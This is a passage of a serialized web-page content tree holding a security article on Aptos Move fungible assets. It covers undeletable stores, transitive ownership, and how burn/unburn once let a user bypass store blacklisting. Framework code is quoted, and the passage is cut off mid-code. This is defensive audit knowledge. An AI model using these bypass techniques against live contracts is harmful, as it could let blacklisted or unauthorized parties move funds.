"tag":18268,"props":62728,"children":62729},{},[],{"type":23,"tag":24,"props":62731,"children":62732},{},[62733,62735,62740,62742,62747],{"type":28,"value":62734},"Deletions can be a big issue even when dealing with objects that are eligible for deletion. For example, a ",{"type":23,"tag":92,"props":62736,"children":62738},{"className":62737},[],[62739],{"type":28,"value":61584},{"type":28,"value":62741}," is also an object, and a \"secondary\" ",{"type":23,"tag":92,"props":62743,"children":62745},{"className":62744},[],[62746],{"type":28,"value":61584},{"type":28,"value":62748}," can be created as deletable if empty. The catch is that deletion can occur both at the fungible asset level and at the object level.",{"type":23,"tag":87,"props":62750,"children":62752},{"className":128,"code":62751,"language":127,"meta":7,"style":7},"//Fungible asset\npublic fun remove_store(delete_ref: &DeleteRef)\n\n//Object\npublic fun delete(ref: DeleteRef)\n",[62753],{"type":23,"tag":92,"props":62754,"children":62755},{"__ignoreMap":7},[62756,62764,62806,62813,62821],{"type":23,"tag":134,"props":62757,"children":62758},{"class":136,"line":137},[62759],{"type":23,"tag":134,"props":62760,"children":62761},{"style":141},[62762],{"type":28,"value":62763},"//Fungible asset\n",{"type":23,"tag":134,"props":62765,"children":62766},{"class":136,"line":147},[62767,62771,62775,62780,62784,62789,62793,62797,62802],{"type":23,"tag":134,"props":62768,"children":62769},{"style":162},[62770],{"type":28,"value":61183},{"type":23,"tag":134,"props":62772,"children":62773},{"style":162},[62774],{"type":28,"value":5664},{"type":23,"tag":134,"props":62776,"children":62777},{"style":264},[62778],{"type":28,"value":62779}," remove_store",{"type":23,"tag":134,"props":62781,"children":62782},{"style":179},[62783],{"type":28,"value":272},{"type":23,"tag":134,"props":62785,"children":62786},{"style":162},[62787],{"type":28,"value":62788},"delete_ref",{"type":23,"tag":134,"props":62790,"children":62791},{"style":168},[62792],{"type":28,"value":1697},{"type":23,"tag":134,"props":62794,"children":62795},{"style":168},[62796],{"type":28,"value":6599},{"type":23,"tag":134,"props":62798,"children":62799},{"style":597},[62800],{"type":28,"value":62801},"DeleteRef",{"type":23,"tag":134,"props":62803,"children":62804},{"style":179},[62805],{"type":28,"value":329},{"type":23,"tag":134,"props":62807,"children":62808},{"class":136,"line":185},[62809],{"type":23,"tag":134,"props":62810,"children":62811},{"emptyLinePlaceholder":15},[62812],{"type":28,"value":865},{"type":23,"tag":134,"props":62814,"children":62815},{"class":136,"line":221},[62816],{"type":23,"tag":134,"props":62817,"children":62818},{"style":141},[62819],{"type":28,"value":62820},"//Object\n",{"type":23,"tag":134,"props":62822,"children":62823},{"class":136,"line":332},[62824,62828,62832,62837,62841,62846,62850,62855],{"type":23,"tag":134,"props":62825,"children":62826},{"style":162},[62827],{"type":28,"value":61183},{"type":23,"tag":134,"props":62829,"children":62830},{"style":162},[62831],{"type":28,"value":5664},{"type":23,"tag":134,"props":62833,"children":62834},{"style":264},[62835],{"type":28,"value":62836}," delete",{"type":23,"tag":134,"props":62838,"children":62839},{"style":179},[62840],{"type":28,"value":272},{"type":23,"tag":134,"props":62842,"children":62843},{"style":151},[62844],{"type":28,"value":62845},"ref",{"type":23,"tag":134,"props":62847,"children":62848},{"style":168},[62849],{"type":28,"value":1697},{"type":23,"tag":134,"props":62851,"children":62852},{"style":597},[62853],{"type":28,"value":62854}," DeleteRef",{"type":23,"tag":134,"props":62856,"children":62857},{"style":179},[62858],{"type":28,"value":329},{"type":23,"tag":24,"props":62860,"children":62861},{},[62862,62864,62870,62872,62877,62879,62884,62886,62891,62893,62899,62901,62907,62909,62914],{"type":28,"value":62863},"When ",{"type":23,"tag":92,"props":62865,"children":62867},{"className":62866},[],[62868],{"type":28,"value":62869},"object::delete",{"type":28,"value":62871}," removes the ",{"type":23,"tag":92,"props":62873,"children":62875},{"className":62874},[],[62876],{"type":28,"value":48356},{"type":28,"value":62878}," from a ",{"type":23,"tag":92,"props":62880,"children":62882},{"className":62881},[],[62883],{"type":28,"value":61584},{"type":28,"value":62885}," object, the ",{"type":23,"tag":92,"props":62887,"children":62889},{"className":62888},[],[62890],{"type":28,"value":61584},{"type":28,"value":62892}," resource becomes permanently undeletable. This is because ",{"type":23,"tag":92,"props":62894,"children":62896},{"className":62895},[],[62897],{"type":28,"value":62898},"remove_store",{"type":28,"value":62900}," can't create an ",{"type":23,"tag":92,"props":62902,"children":62904},{"className":62903},[],[62905],{"type":28,"value":62906},"Object\u003CFungibleStore>",{"type":28,"value":62908}," without an ",{"type":23,"tag":92,"props":62910,"children":62912},{"className":62911},[],[62913],{"type":28,"value":48356},{"type":28,"value":62915}," underneath, causing the operation to fail.",{"type":23,"tag":87,"props":62917,"children":62919},{"className":128,"code":62918,"language":127,"meta":7,"style":7},"public fun remove_store(delete_ref: &DeleteRef) acquires [...] {\n    let store = &object::object_from_delete_ref\u003CFungibleStore>(delete_ref);\n    [...]\n}\n",[62920],{"type":23,"tag":92,"props":62921,"children":62922},{"__ignoreMap":7},[62923,62978,63030,63045],{"type":23,"tag":134,"props":62924,"children":62925},{"class":136,"line":137},[62926,62930,62934,62938,62942,62946,62950,62954,62958,62962,62966,62970,62974],{"type":23,"tag":134,"props":62927,"children":62928},{"style":162},[62929],{"type":28,"value":61183},{"type":23,"tag":134,"props":62931,"children":62932},{"style":162},[62933],{"type":28,"value":5664},{"type":23,"tag":134,"props":62935,"children":62936},{"style":264},[62937],{"type":28,"value":62779},{"type":23,"tag":134,"props":62939,"children":62940},{"style":179},[62941],{"type":28,"value":272},{"type":23,"tag":134,"props":62943,"children":62944},{"style":162},[62945],{"type":28,"value":62788},{"type":23,"tag":134,"props":62947,"children":62948},{"style":168},[62949],{"type":28,"value":1697},{"type":23,"tag":134,"props":62951,"children":62952},{"style":168},[62953],{"type":28,"value":6599},{"type":23,"tag":134,"props":62955,"children":62956},{"style":597},[62957],{"type":28,"value":62801},{"type":23,"tag":134,"props":62959,"children":62960},{"style":179},[62961],{"type":28,"value":252},{"type":23,"tag":134,"props":62963,"children":62964},{"style":162},[62965],{"type":28,"value":5801},{"type":23,"tag":134,"props":62967,"children":62968},{"style":179},[62969],{"type":28,"value":22511},{"type":23,"tag":134,"props":62971,"children":62972},{"style":168},[62973],{"type":28,"value":9054},{"type":23,"tag":134,"props":62975,"children":62976},{"style":179},[62977],{"type":28,"value":61274},{"type":23,"tag":134,"props":62979,"children":62980},{"class":136,"line":147},[62981,62985,62989,62993,62997,63001,63005,63010,63014,63018,63022,63026],{"type":23,"tag":134,"props":62982,"children":62983},{"style":151},[62984],{"type":28,"value":154},{"type":23,"tag":134,"props":62986,"children":62987},{"style":162},[62988],{"type":28,"value":5287},{"type":23,"tag":134,"props":62990,"children":62991},{"style":168},[62992],{"type":28,"value":171},{"type":23,"tag":134,"props":62994,"children":62995},{"style":168},[62996],{"type":28,"value":6599},{"type":23,"tag":134,"props":62998,"children":62999},{"style":179},[63000],{"type":28,"value":62418},{"type":23,"tag":134,"props":63002,"children":63003},{"style":168},[63004],{"type":28,"value":660},{"type":23,"tag":134,"props":63006,"children":63007},{"style":162},[63008],{"type":28,"value":63009},"object_from_delete_ref",{"type":23,"tag":134,"props":63011,"children":63012},{"style":179},[63013],{"type":28,"value":5262},{"type":23,"tag":134,"props":63015,"children":63016},{"style":597},[63017],{"type":28,"value":61584},{"type":23,"tag":134,"props":63019,"children":63020},{"style":179},[63021],{"type":28,"value":7069},{"type":23,"tag":134,"props":63023,"children":63024},{"style":162},[63025],{"type":28,"value":62788},{"type":23,"tag":134,"props":63027,"children":63028},{"style":179},[63029],{"type":28,"value":1021},{"type":23,"tag":134,"props":63031,"children":63032},{"class":136,"line":185},[63033,63037,63041],{"type":23,"tag":134,"props":63034,"children":63035},{"style":179},[63036],{"type":28,"value":62226},{"type":23,"tag":134,"props":63038,"children":63039},{"style":168},[63040],{"type":28,"value":9054},{"type":23,"tag":134,"props":63042,"children":63043},{"style":179},[63044],{"type":28,"value":11239},{"type":23,"tag":134,"props":63046,"children":63047},{"class":136,"line":221},[63048],{"type":23,"tag":134,"props":63049,"children":63050},{"style":179},[63051],{"type":28,"value":1098},{"type":23,"tag":24,"props":63053,"children":63054},{},[63055,63057,63062,63064,63070,63072,63077],{"type":28,"value":63056},"In addition, such \"deleted\" ",{"type":23,"tag":92,"props":63058,"children":63060},{"className":63059},[],[63061],{"type":28,"value":61584},{"type":28,"value":63063}," objects remain at least partially operable. For instance, ",{"type":23,"tag":92,"props":63065,"children":63067},{"className":63066},[],[63068],{"type":28,"value":63069},"fungible_asset::deposit",{"type":28,"value":63071}," does not check the ",{"type":23,"tag":92,"props":63073,"children":63075},{"className":63074},[],[63076],{"type":28,"value":48356},{"type":28,"value":63078}," existence.",{"type":23,"tag":9072,"props":63080,"children":63082},{"id":63081},"ownership",[63083],{"type":28,"value":63084},"Ownership",{"type":23,"tag":24,"props":63086,"children":63087},{},[63088,63090,63095,63097,63103,63105,63110],{"type":28,"value":63089},"Each object has an owner. Fungible assets rely on the ",{"type":23,"tag":92,"props":63091,"children":63093},{"className":63092},[],[63094],{"type":28,"value":48356},{"type":28,"value":63096}," ownership model. For example, during a withdrawal operation, the signer is validated using ",{"type":23,"tag":92,"props":63098,"children":63100},{"className":63099},[],[63101],{"type":28,"value":63102},"object::owns",{"type":28,"value":63104}," to confirm ownership of the ",{"type":23,"tag":92,"props":63106,"children":63108},{"className":63107},[],[63109],{"type":28,"value":61584},{"type":28,"value":49682},{"type":23,"tag":87,"props":63112,"children":63114},{"className":128,"code":63113,"language":127,"meta":7,"style":7},"public(friend) fun withdraw_sanity_check\u003CT: key>(\n    owner: &signer,\n    store: Object\u003CT>,\n    abort_on_dispatch: bool,\n) acquires FungibleStore, DispatchFunctionStore {\n    assert!(object::owns(store, signer::address_of(owner)), error::permission_denied(ENOT_STORE_OWNER));\n    [...]\n}\n",[63115],{"type":23,"tag":92,"props":63116,"children":63117},{"__ignoreMap":7},[63118,63166,63190,63217,63237,63265,63333,63348],{"type":23,"tag":134,"props":63119,"children":63120},{"class":136,"line":137},[63121,63125,63129,63133,63137,63141,63146,63150,63154,63158,63162],{"type":23,"tag":134,"props":63122,"children":63123},{"style":264},[63124],{"type":28,"value":61183},{"type":23,"tag":134,"props":63126,"children":63127},{"style":179},[63128],{"type":28,"value":272},{"type":23,"tag":134,"props":63130,"children":63131},{"style":162},[63132],{"type":28,"value":6556},{"type":23,"tag":134,"props":63134,"children":63135},{"style":179},[63136],{"type":28,"value":252},{"type":23,"tag":134,"props":63138,"children":63139},{"style":162},[63140],{"type":28,"value":6565},{"type":23,"tag":134,"props":63142,"children":63143},{"style":162},[63144],{"type":28,"value":63145}," withdraw_sanity_check",{"type":23,"tag":134,"props":63147,"children":63148},{"style":179},[63149],{"type":28,"value":5262},{"type":23,"tag":134,"props":63151,"children":63152},{"style":597},[63153],{"type":28,"value":5444},{"type":23,"tag":134,"props":63155,"children":63156},{"style":168},[63157],{"type":28,"value":1697},{"type":23,"tag":134,"props":63159,"children":63160},{"style":162},[63161],{"type":28,"value":5388},{"type":23,"tag":134,"props":63163,"children":63164},{"style":179},[63165],{"type":28,"value":6046},{"type":23,"tag":134,"props":63167,"children":63168},{"class":136,"line":147},[63169,63174,63178,63182,63186],{"type":23,"tag":134,"props":63170,"children":63171},{"style":162},[63172],{"type":28,"value":63173},"    owner",{"type":23,"tag":134,"props":63175,"children":63176},{"style":168},[63177],{"type":28,"value":1697},{"type":23,"tag":134,"props":63179,"children":63180},{"style":168},[63181],{"type":28,"value":6599},{"type":23,"tag":134,"props":63183,"children":63184},{"style":162},[63185],{"type":28,"value":6604},{"type":23,"tag":134,"props":63187,"children":63188},{"style":179},[63189],{"type":28,"value":687},{"type":23,"tag":134,"props":63191,"children":63192},{"class":136,"line":185},[63193,63197,63201,63205,63209,63213],{"type":23,"tag":134,"props":63194,"children":63195},{"style":162},[63196],{"type":28,"value":28907},{"type":23,"tag":134,"props":63198,"children":63199},{"style":168},[63200],{"type":28,"value":1697},{"type":23,"tag":134,"props":63202,"children":63203},{"style":597},[63204],{"type":28,"value":61069},{"type":23,"tag":134,"props":63206,"children":63207},{"style":179},[63208],{"type":28,"value":5262},{"type":23,"tag":134,"props":63210,"children":63211},{"style":597},[63212],{"type":28,"value":5444},{"type":23,"tag":134,"props":63214,"children":63215},{"style":179},[63216],{"type":28,"value":5595},{"type":23,"tag":134,"props":63218,"children":63219},{"class":136,"line":221},[63220,63225,63229,63233],{"type":23,"tag":134,"props":63221,"children":63222},{"style":162},[63223],{"type":28,"value":63224},"    abort_on_dispatch",{"type":23,"tag":134,"props":63226,"children":63227},{"style":168},[63228],{"type":28,"value":1697},{"type":23,"tag":134,"props":63230,"children":63231},{"style":597},[63232],{"type":28,"value":11517},{"type":23,"tag":134,"props":63234,"children":63235},{"style":179},[63236],{"type":28,"value":687},{"type":23,"tag":134,"props":63238,"children":63239},{"class":136,"line":332},[63240,63244,63248,63252,63256,63261],{"type":23,"tag":134,"props":63241,"children":63242},{"style":179},[63243],{"type":28,"value":252},{"type":23,"tag":134,"props":63245,"children":63246},{"style":162},[63247],{"type":28,"value":5801},{"type":23,"tag":134,"props":63249,"children":63250},{"style":597},[63251],{"type":28,"value":61604},{"type":23,"tag":134,"props":63253,"children":63254},{"style":179},[63255],{"type":28,"value":242},{"type":23,"tag":134,"props":63257,"children":63258},{"style":597},[63259],{"type":28,"value":63260},"DispatchFunctionStore",{"type":23,"tag":134,"props":63262,"children":63263},{"style":179},[63264],{"type":28,"value":463},{"type":23,"tag":134,"props":63266,"children":63267},{"class":136,"line":438},[63268,63272,63277,63281,63286,63290,63294,63298,63302,63306,63310,63314,63319,63323,63328],{"type":23,"tag":134,"props":63269,"children":63270},{"style":264},[63271],{"type":28,"value":61852},{"type":23,"tag":134,"props":63273,"children":63274},{"style":179},[63275],{"type":28,"value":63276},"(object",{"type":23,"tag":134,"props":63278,"children":63279},{"style":168},[63280],{"type":28,"value":660},{"type":23,"tag":134,"props":63282,"children":63283},{"style":264},[63284],{"type":28,"value":63285},"owns",{"type":23,"tag":134,"props":63287,"children":63288},{"style":179},[63289],{"type":28,"value":272},{"type":23,"tag":134,"props":63291,"children":63292},{"style":162},[63293],{"type":28,"value":5397},{"type":23,"tag":134,"props":63295,"children":63296},{"style":179},[63297],{"type":28,"value":12403},{"type":23,"tag":134,"props":63299,"children":63300},{"style":168},[63301],{"type":28,"value":660},{"type":23,"tag":134,"props":63303,"children":63304},{"style":264},[63305],{"type":28,"value":6667},{"type":23,"tag":134,"props":63307,"children":63308},{"style":179},[63309],{"type":28,"value":272},{"type":23,"tag":134,"props":63311,"children":63312},{"style":162},[63313],{"type":28,"value":15079},{"type":23,"tag":134,"props":63315,"children":63316},{"style":179},[63317],{"type":28,"value":63318},")), error",{"type":23,"tag":134,"props":63320,"children":63321},{"style":168},[63322],{"type":28,"value":660},{"type":23,"tag":134,"props":63324,"children":63325},{"style":264},[63326],{"type":28,"value":63327},"permission_denied",{"type":23,"tag":134,"props":63329,"children":63330},{"style":179},[63331],{"type":28,"value":63332},"(ENOT_STORE_OWNER));\n",{"type":23,"tag":134,"props":63334,"children":63335},{"class":136,"line":466},[63336,63340,63344],{"type":23,"tag":134,"props":63337,"children":63338},{"style":179},[63339],{"type":28,"value":62226},{"type":23,"tag":134,"props":63341,"children":63342},{"style":168},[63343],{"type":28,"value":9054},{"type":23,"tag":134,"props":63345,"children":63346},{"style":179},[63347],{"type":28,"value":11239},{"type":23,"tag":134,"props":63349,"children":63350},{"class":136,"line":479},[63351],{"type":23,"tag":134,"props":63352,"children":63353},{"style":179},[63354],{"type":28,"value":1098},{"type":23,"tag":24,"props":63356,"children":63357},{},[63358,63360,63365,63367,63373,63375,63381],{"type":28,"value":63359},"The thing to note is that defining ownership with ",{"type":23,"tag":92,"props":63361,"children":63363},{"className":63362},[],[63364],{"type":28,"value":63102},{"type":28,"value":63366}," can be tricky. The ",{"type":23,"tag":92,"props":63368,"children":63370},{"className":63369},[],[63371],{"type":28,"value":63372},"burn",{"type":28,"value":63374}," function was one of the reasons behind that. It allowed changing the object's owner to the ",{"type":23,"tag":92,"props":63376,"children":63378},{"className":63377},[],[63379],{"type":28,"value":63380},"BURN_ADDRESS",{"type":28,"value":63382}," while bypassing transfer restrictions:",{"type":23,"tag":87,"props":63384,"children":63386},{"className":128,"code":63385,"language":127,"meta":7,"style":7},"public entry fun burn\u003CT: key>(owner: &signer, object: Object\u003CT>) acquires ObjectCore {\n    let original_owner = signer::address_of(owner);\n    assert!(is_owner(object, original_owner), error::permission_denied(ENOT_OBJECT_OWNER));\n    let object_addr = object.inner;\n    move_to(&create_signer(object_addr), TombStone { original_owner });\n    transfer_raw_inner(object_addr, BURN_ADDRESS);\n}\n",[63387],{"type":23,"tag":92,"props":63388,"children":63389},{"__ignoreMap":7},[63390,63487,63528,63578,63607,63657,63678],{"type":23,"tag":134,"props":63391,"children":63392},{"class":136,"line":137},[63393,63397,63401,63405,63410,63414,63418,63422,63426,63430,63434,63438,63442,63446,63450,63454,63458,63462,63466,63470,63474,63478,63483],{"type":23,"tag":134,"props":63394,"children":63395},{"style":162},[63396],{"type":28,"value":61183},{"type":23,"tag":134,"props":63398,"children":63399},{"style":162},[63400],{"type":28,"value":62150},{"type":23,"tag":134,"props":63402,"children":63403},{"style":162},[63404],{"type":28,"value":5664},{"type":23,"tag":134,"props":63406,"children":63407},{"style":162},[63408],{"type":28,"value":63409}," burn",{"type":23,"tag":134,"props":63411,"children":63412},{"style":179},[63413],{"type":28,"value":5262},{"type":23,"tag":134,"props":63415,"children":63416},{"style":597},[63417],{"type":28,"value":5444},{"type":23,"tag":134,"props":63419,"children":63420},{"style":168},[63421],{"type":28,"value":1697},{"type":23,"tag":134,"props":63423,"children":63424},{"style":162},[63425],{"type":28,"value":5388},{"type":23,"tag":134,"props":63427,"children":63428},{"style":179},[63429],{"type":28,"value":7069},{"type":23,"tag":134,"props":63431,"children":63432},{"style":162},[63433],{"type":28,"value":15079},{"type":23,"tag":134,"props":63435,"children":63436},{"style":168},[63437],{"type":28,"value":1697},{"type":23,"tag":134,"props":63439,"children":63440},{"style":168},[63441],{"type":28,"value":6599},{"type":23,"tag":134,"props":63443,"children":63444},{"style":162},[63445],{"type":28,"value":6604},{"type":23,"tag":134,"props":63447,"children":63448},{"style":179},[63449],{"type":28,"value":242},{"type":23,"tag":134,"props":63451,"children":63452},{"style":162},[63453],{"type":28,"value":62418},{"type":23,"tag":134,"props":63455,"children":63456},{"style":168},[63457],{"type":28,"value":1697},{"type":23,"tag":134,"props":63459,"children":63460},{"style":597},[63461],{"type":28,"value":61069},{"type":23,"tag":134,"props":63463,"children":63464},{"style":179},[63465],{"type":28,"value":5262},{"type":23,"tag":134,"props":63467,"children":63468},{"style":597},[63469],{"type":28,"value":5444},{"type":23,"tag":134,"props":63471,"children":63472},{"style":179},[63473],{"type":28,"value":19924},{"type":23,"tag":134,"props":63475,"children":63476},{"style":162},[63477],{"type":28,"value":5801},{"type":23,"tag":134,"props":63479,"children":63480},{"style":597},[63481],{"type":28,"value":63482}," ObjectCore",{"type":23,"tag":134,"props":63484,"children":63485},{"style":179},[63486],{"type":28,"value":463},{"type":23,"tag":134,"props":63488,"children":63489},{"class":136,"line":147},[63490,63494,63499,63503,63508,63512,63516,63520,63524],{"type":23,"tag":134,"props":63491,"children":63492},{"style":151},[63493],{"type":28,"value":154},{"type":23,"tag":134,"props":63495,"children":63496},{"style":162},[63497],{"type":28,"value":63498}," original_owner",{"type":23,"tag":134,"props":63500,"children":63501},{"style":168},[63502],{"type":28,"value":171},{"type":23,"tag":134,"props":63504,"children":63505},{"style":179},[63506],{"type":28,"value":63507}," signer",{"type":23,"tag":134,"props":63509,"children":63510},{"style":168},[63511],{"type":28,"value":660},{"type":23,"tag":134,"props":63513,"children":63514},{"style":264},[63515],{"type":28,"value":6667},{"type":23,"tag":134,"props":63517,"children":63518},{"style":179},[63519],{"type":28,"value":272},{"type":23,"tag":134,"props":63521,"children":63522},{"style":162},[63523],{"type":28,"value":15079},{"type":23,"tag":134,"props":63525,"children":63526},{"style":179},[63527],{"type":28,"value":1021},{"type":23,"tag":134,"props":63529,"children":63530},{"class":136,"line":185},[63531,63535,63539,63544,63548,63552,63556,63561,63565,63569,63573],{"type":23,"tag":134,"props":63532,"children":63533},{"style":264},[63534],{"type":28,"value":61852},{"type":23,"tag":134,"props":63536,"children":63537},{"style":179},[63538],{"type":28,"value":272},{"type":23,"tag":134,"props":63540,"children":63541},{"style":264},[63542],{"type":28,"value":63543},"is_owner",{"type":23,"tag":134,"props":63545,"children":63546},{"style":179},[63547],{"type":28,"value":272},{"type":23,"tag":134,"props":63549,"children":63550},{"style":162},[63551],{"type":28,"value":62418},{"type":23,"tag":134,"props":63553,"children":63554},{"style":179},[63555],{"type":28,"value":242},{"type":23,"tag":134,"props":63557,"children":63558},{"style":162},[63559],{"type":28,"value":63560},"original_owner",{"type":23,"tag":134,"props":63562,"children":63563},{"style":179},[63564],{"type":28,"value":62441},{"type":23,"tag":134,"props":63566,"children":63567},{"style":168},[63568],{"type":28,"value":660},{"type":23,"tag":134,"props":63570,"children":63571},{"style":264},[63572],{"type":28,"value":63327},{"type":23,"tag":134,"props":63574,"children":63575},{"style":179},[63576],{"type":28,"value":63577},"(ENOT_OBJECT_OWNER));\n",{"type":23,"tag":134,"props":63579,"children":63580},{"class":136,"line":221},[63581,63585,63590,63594,63598,63602],{"type":23,"tag":134,"props":63582,"children":63583},{"style":151},[63584],{"type":28,"value":154},{"type":23,"tag":134,"props":63586,"children":63587},{"style":162},[63588],{"type":28,"value":63589}," object_addr",{"type":23,"tag":134,"props":63591,"children":63592},{"style":168},[63593],{"type":28,"value":171},{"type":23,"tag":134,"props":63595,"children":63596},{"style":162},[63597],{"type":28,"value":62002},{"type":23,"tag":134,"props":63599,"children":63600},{"style":168},[63601],{"type":28,"value":720},{"type":23,"tag":134,"props":63603,"children":63604},{"style":179},[63605],{"type":28,"value":63606},"inner;\n",{"type":23,"tag":134,"props":63608,"children":63609},{"class":136,"line":332},[63610,63614,63618,63622,63627,63631,63636,63640,63645,63649,63653],{"type":23,"tag":134,"props":63611,"children":63612},{"style":264},[63613],{"type":28,"value":62605},{"type":23,"tag":134,"props":63615,"children":63616},{"style":179},[63617],{"type":28,"value":272},{"type":23,"tag":134,"props":63619,"children":63620},{"style":168},[63621],{"type":28,"value":277},{"type":23,"tag":134,"props":63623,"children":63624},{"style":264},[63625],{"type":28,"value":63626},"create_signer",{"type":23,"tag":134,"props":63628,"children":63629},{"style":179},[63630],{"type":28,"value":272},{"type":23,"tag":134,"props":63632,"children":63633},{"style":162},[63634],{"type":28,"value":63635},"object_addr",{"type":23,"tag":134,"props":63637,"children":63638},{"style":179},[63639],{"type":28,"value":14646},{"type":23,"tag":134,"props":63641,"children":63642},{"style":597},[63643],{"type":28,"value":63644},"TombStone",{"type":23,"tag":134,"props":63646,"children":63647},{"style":179},[63648],{"type":28,"value":9049},{"type":23,"tag":134,"props":63650,"children":63651},{"style":162},[63652],{"type":28,"value":63560},{"type":23,"tag":134,"props":63654,"children":63655},{"style":179},[63656],{"type":28,"value":38333},{"type":23,"tag":134,"props":63658,"children":63659},{"class":136,"line":438},[63660,63665,63669,63673],{"type":23,"tag":134,"props":63661,"children":63662},{"style":264},[63663],{"type":28,"value":63664},"    transfer_raw_inner",{"type":23,"tag":134,"props":63666,"children":63667},{"style":179},[63668],{"type":28,"value":272},{"type":23,"tag":134,"props":63670,"children":63671},{"style":162},[63672],{"type":28,"value":63635},{"type":23,"tag":134,"props":63674,"children":63675},{"style":179},[63676],{"type":28,"value":63677},", BURN_ADDRESS);\n",{"type":23,"tag":134,"props":63679,"children":63680},{"class":136,"line":466},[63681],{"type":23,"tag":134,"props":63682,"children":63683},{"style":179},[63684],{"type":28,"value":1098},{"type":23,"tag":24,"props":63686,"children":63687},{},[63688,63694,63696,63701,63702,63709,63711,63716],{"type":23,"tag":92,"props":63689,"children":63691},{"className":63690},[],[63692],{"type":28,"value":63693},"unburn",{"type":28,"value":63695}," is a way to restore the previous object owner. In a past audit, this mechanism could be exploited to bypass fungible store owner blacklisting by temporarily setting ownership to the unblacklisted ",{"type":23,"tag":92,"props":63697,"children":63699},{"className":63698},[],[63700],{"type":28,"value":63380},{"type":28,"value":18006},{"type":23,"tag":31,"props":63703,"children":63706},{"href":63704,"rel":63705},"https://github.com/aptos-foundation/AIPs/blob/main/aips/aip-99.md",[35],[63707],{"type":28,"value":63708},"AIP-99",{"type":28,"value":63710}," is a proposal to roll back the ",{"type":23,"tag":92,"props":63712,"children":63714},{"className":63713},[],[63715],{"type":28,"value":63372},{"type":28,"value":63717}," feature, but previously burned objects will remain restorable.",{"type":23,"tag":78,"props":63719,"children":63720},{},[63721],{"type":23,"tag":24,"props":63722,"children":63723},{},[63724,63726,63730],{"type":28,"value":63725},"This ",{"type":23,"tag":134,"props":63727,"children":63728},{},[63729],{"type":28,"value":63708},{"type":28,"value":63731}," seeks to disable safe object burn, as it caused extra complexity, and sometimes unexpected consequences. As a result of this AIP, users will still be able to unburn their burnt objects, but will not be able to burn any new objects.",{"type":23,"tag":24,"props":63733,"children":63734},{},[63735,63737,63743,63745,63750,63752,63757],{"type":28,"value":63736},"Another important thing is that ",{"type":23,"tag":92,"props":63738,"children":63740},{"className":63739},[],[63741],{"type":28,"value":63742},"fungible_asset::set_untransferable",{"type":28,"value":63744}," can be used to make all new ",{"type":23,"tag":92,"props":63746,"children":63748},{"className":63747},[],[63749],{"type":28,"value":62088},{"type":28,"value":63751}," for this asset untransferable, preventing ownership changes. However, this restriction doesn't apply to the parent object, allowing a transferable parent to be moved even if it owns a non-transferable ",{"type":23,"tag":92,"props":63753,"children":63755},{"className":63754},[],[63756],{"type":28,"value":61584},{"type":28,"value":720},{"type":23,"tag":24,"props":63759,"children":63760},{},[63761,63763,63768,63770,63776,63778,63783,63785,63790],{"type":28,"value":63762},"Do we need to care about this case? We do, because ownership is transitive. If entity X owns an object that owns a ",{"type":23,"tag":92,"props":63764,"children":63766},{"className":63765},[],[63767],{"type":28,"value":61584},{"type":28,"value":63769},", X can withdraw from that store. This is because ",{"type":23,"tag":92,"props":63771,"children":63773},{"className":63772},[],[63774],{"type":28,"value":63775},"fungible_asset::withdraw",{"type":28,"value":63777}," uses ",{"type":23,"tag":92,"props":63779,"children":63781},{"className":63780},[],[63782],{"type":28,"value":63102},{"type":28,"value":63784}," to verify both direct and indirect ownership of the ",{"type":23,"tag":92,"props":63786,"children":63788},{"className":63787},[],[63789],{"type":28,"value":61584},{"type":28,"value":49682},{"type":23,"tag":87,"props":63792,"children":63794},{"className":128,"code":63793,"language":127,"meta":7,"style":7},"fun verify_ungated_and_descendant(owner: address, destination: address) acquires ObjectCore {\n        [...]\n    while (owner != current_address) {\n        count = count + 1;\n        [...]\n        assert!(\n            exists\u003CObjectCore>(current_address),\n            error::permission_denied(ENOT_OBJECT_OWNER),\n        );\n        let object = borrow_global\u003CObjectCore>(current_address);\n        current_address = object.owner;\n    };\n}\n",[63795],{"type":23,"tag":92,"props":63796,"children":63797},{"__ignoreMap":7},[63798,63859,63875,63905,63934,63949,63961,63991,64012,64019,64059,64084,64091],{"type":23,"tag":134,"props":63799,"children":63800},{"class":136,"line":137},[63801,63805,63810,63814,63818,63822,63826,63830,63835,63839,63843,63847,63851,63855],{"type":23,"tag":134,"props":63802,"children":63803},{"style":162},[63804],{"type":28,"value":6565},{"type":23,"tag":134,"props":63806,"children":63807},{"style":264},[63808],{"type":28,"value":63809}," verify_ungated_and_descendant",{"type":23,"tag":134,"props":63811,"children":63812},{"style":179},[63813],{"type":28,"value":272},{"type":23,"tag":134,"props":63815,"children":63816},{"style":162},[63817],{"type":28,"value":15079},{"type":23,"tag":134,"props":63819,"children":63820},{"style":168},[63821],{"type":28,"value":1697},{"type":23,"tag":134,"props":63823,"children":63824},{"style":162},[63825],{"type":28,"value":5707},{"type":23,"tag":134,"props":63827,"children":63828},{"style":179},[63829],{"type":28,"value":242},{"type":23,"tag":134,"props":63831,"children":63832},{"style":162},[63833],{"type":28,"value":63834},"destination",{"type":23,"tag":134,"props":63836,"children":63837},{"style":168},[63838],{"type":28,"value":1697},{"type":23,"tag":134,"props":63840,"children":63841},{"style":162},[63842],{"type":28,"value":5707},{"type":23,"tag":134,"props":63844,"children":63845},{"style":179},[63846],{"type":28,"value":252},{"type":23,"tag":134,"props":63848,"children":63849},{"style":162},[63850],{"type":28,"value":5801},{"type":23,"tag":134,"props":63852,"children":63853},{"style":597},[63854],{"type":28,"value":63482},{"type":23,"tag":134,"props":63856,"children":63857},{"style":179},[63858],{"type":28,"value":463},{"type":23,"tag":134,"props":63860,"children":63861},{"class":136,"line":147},[63862,63867,63871],{"type":23,"tag":134,"props":63863,"children":63864},{"style":179},[63865],{"type":28,"value":63866},"        [",{"type":23,"tag":134,"props":63868,"children":63869},{"style":168},[63870],{"type":28,"value":9054},{"type":23,"tag":134,"props":63872,"children":63873},{"style":179},[63874],{"type":28,"value":11239},{"type":23,"tag":134,"props":63876,"children":63877},{"class":136,"line":185},[63878,63883,63887,63891,63896,63901],{"type":23,"tag":134,"props":63879,"children":63880},{"style":189},[63881],{"type":28,"value":63882},"    while",{"type":23,"tag":134,"props":63884,"children":63885},{"style":179},[63886],{"type":28,"value":232},{"type":23,"tag":134,"props":63888,"children":63889},{"style":162},[63890],{"type":28,"value":15079},{"type":23,"tag":134,"props":63892,"children":63893},{"style":168},[63894],{"type":28,"value":63895}," !=",{"type":23,"tag":134,"props":63897,"children":63898},{"style":162},[63899],{"type":28,"value":63900}," 